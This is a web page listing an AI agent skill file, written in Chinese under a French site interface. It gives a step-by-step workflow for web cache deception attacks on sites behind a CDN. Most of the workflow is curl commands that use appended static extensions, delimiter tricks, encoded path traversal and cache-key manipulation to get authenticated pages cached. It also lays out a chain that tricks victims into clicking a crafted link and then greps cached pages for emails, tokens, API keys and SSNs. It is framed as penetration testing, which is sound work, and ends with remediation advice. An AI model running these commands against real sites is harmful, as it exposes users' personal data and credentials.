L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

performing-web-cache-deception-attack

performing-web-cache-deception-attack

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-web-cache-deception-attack description: 通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。 domain: cybersecurity subdomain: web-application-security tags: [web-cache-deception, cdn-attack, cache-poisoning, path-normalization, cloudflare, cache-key, static-resource] version: "1.0" author: mahipal license: Apache-2.0

执行 Web 缓存欺骗攻击(Performing Web Cache Deception Attack)

适用场景

  • 测试位于 CDN 或反向代理(Cloudflare、Akamai、Varnish、Nginx)之后的应用程序时
  • 评估已认证页面的缓存行为时
  • 评估缓存层与源服务器之间的路径规范化差异时
  • 在具有激进缓存策略的应用程序上进行漏洞赏金猎人工作时
  • 测试通过缓存层错误配置导致的敏感数据泄露时

前置条件

  • 了解 HTTP 缓存机制(Cache-Control、Vary、Age 头部)
  • 熟悉 CDN 路径规范化和缓存键构造方式
  • Burp Suite(用于拦截和构造请求)
  • 两个浏览器会话(已认证的受害者和未认证的攻击者)
  • 了解不同技术栈中 URL 路径解析的差异
  • 熟悉常见 CDN 平台(Cloudflare、Akamai、Fastly、AWS CloudFront)

工作流程

步骤 1 — 识别缓存层和缓存行为

# 确认是否存在缓存层
curl -I http://target.com/account/profile
# 关注:X-Cache、CF-Cache-Status、Age、Via、X-Varnish 头部

# 检查静态扩展名的缓存规则
curl -I "http://target.com/static/style.css"
# 关注:X-Cache: HIT、CF-Cache-Status: HIT、Age: >0

# 识别哪些扩展名会被缓存
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

步骤 2 — 测试基于路径的缓存欺骗

# 经典 Web 缓存欺骗:向动态 URL 追加静态扩展名
# 受害者访问:http://target.com/account/profile/nonexistent.css
# 若源服务器返回个人资料页面,且 CDN 基于 .css 扩展名对其进行缓存:

# 步骤 1:以受害者身份(已认证),访问:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# 步骤 2:以攻击者身份(未认证),请求相同 URL:
curl "http://target.com/account/profile/anything.css"
# 若返回受害者的个人资料数据,则缓存欺骗攻击已确认

# 测试各种扩展名
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

步骤 3 — 利用分隔符差异

# 使用 CDN 和源服务器解析方式不同的路径分隔符
# 分号分隔符(CDN 忽略,源服务器处理)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# 编码字符
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# 空字节注入
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# 片段标识符滥用
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# 点路径段规范化
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

步骤 4 — 测试路径规范化差异

# 路径遍历规范化差异
# CDN 规范化:/account/profile/../static/x.css -> /static/x.css(被缓存)
# 源服务器看到:/account/profile(返回动态页面)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# 若 CDN 与源服务器规范化方式不同,可能将其缓存为 /account/profile

# 编码路径遍历
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# 大小写敏感性差异
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# 双重编码路径
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

步骤 5 — 利用缓存键操控

# 识别缓存键组成部分
# CDN 可能使用:协议 + 主机 + 路径(不含查询字符串)
# 测试查询字符串是否影响缓存

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# 测试 CDN 使用完整路径还是规范化路径作为缓存键
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # 检查是否被缓存

# 基于头部的缓存键操控
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"

步骤 6 — 验证并记录攻击

# 完整攻击链:
# 1. 构造恶意 URL:http://target.com/account/profile/x.css
# 2. 将 URL 发送给受害者(通过社会工程学、邮件等)
# 3. 受害者在已认证状态下点击链接
# 4. CDN 缓存已认证的响应
# 5. 攻击者以未认证状态请求相同 URL
# 6. CDN 将缓存的已认证内容提供给攻击者

# 验证缓存状态
curl -I "http://target.com/account/profile/x.css"
# 确认:X-Cache: HIT 或 CF-Cache-Status: HIT

# 检查暴露的敏感数据
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"

核心概念

概念定义
缓存欺骗(Cache Deception)欺骗 CDN 将已认证的动态内容作为静态资源进行缓存
路径规范化(Path Normalization)CDN 与源服务器对路径段(../、;、编码字符)的不同解析方式
缓存键(Cache Key)CDN 用于存取缓存响应的标识符(通常为 URL 路径)
静态扩展名技巧(Static Extension Trick)向动态 URL 追加 .css/.js/.png 以触发缓存行为
分隔符差异(Delimiter Discrepancy)缓存层与源服务器对 ;、?、# 字符的不同解释
缓存投毒 vs 缓存欺骗(Cache Poisoning vs Deception)投毒影响所有用户的缓存;欺骗缓存特定受害者的数据
Vary 头部(Vary Header)控制哪些请求属性影响缓存键的 HTTP 头部

工具与系统

工具用途
Burp SuiteHTTP 代理,用于构造缓存欺骗请求
curl命令行测试缓存行为和响应头部
Web Cache Vulnerability Scanner自动检测缓存欺骗/投毒的工具
Param MinerBurp 扩展,用于发现未纳入缓存键的参数
Cloudflare Diagnostics分析 CF-Cache-Status 和 cf-ray 头部
Varnish CLI直接检查基于 Varnish 的缓存配置

常见场景

  1. 个人资料数据窃取 — 通过向个人资料 URL 追加 .css 扩展名,缓存含有 PII(邮箱、地址、电话)的已认证用户个人资料页面
  2. API Token 泄露 — 通过 CDN 路径操控,缓存显示 token 和密钥的 API 控制台页面
  3. 账户接管 — 缓存包含 session token 或 CSRF token 的页面,利用窃取的 token 实施账户接管
  4. 金融数据泄露 — 缓存显示账户余额和交易记录的银行或支付页面
  5. 管理后台缓存 — 通过 CDN 上基于分隔符的路径混淆,缓存管理后台页面

输出格式

## Web 缓存欺骗报告
- **目标**:http://target.com
- **CDN**:Cloudflare
- **漏洞**:通过追加静态扩展名实现基于路径的缓存欺骗

### 缓存行为分析
| 扩展名 | 是否被缓存 | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | 是 | public, max-age=86400 | 24h |
| .js | 是 | public, max-age=86400 | 24h |
| .png | 是 | public, max-age=604800 | 7d |

### 利用结果
| 受害者 URL | 缓存数据 | 敏感字段 |
|-----------|-------------|-----------------|
| /account/profile/x.css | 完整个人资料页面 | 邮箱、姓名、API Key |
| /account/settings/x.js | 设置页面 | 双因素认证备用码 |

### 修复建议
- 配置 CDN 对动态页面遵守 Cache-Control: no-store
- 在已认证端点实施 Vary: Cookie 头部
- 使用基于路径的路由规则,拒绝非预期扩展名
- 在 CDN 与源服务器之间启用一致的路径规范化
Skills enregistrées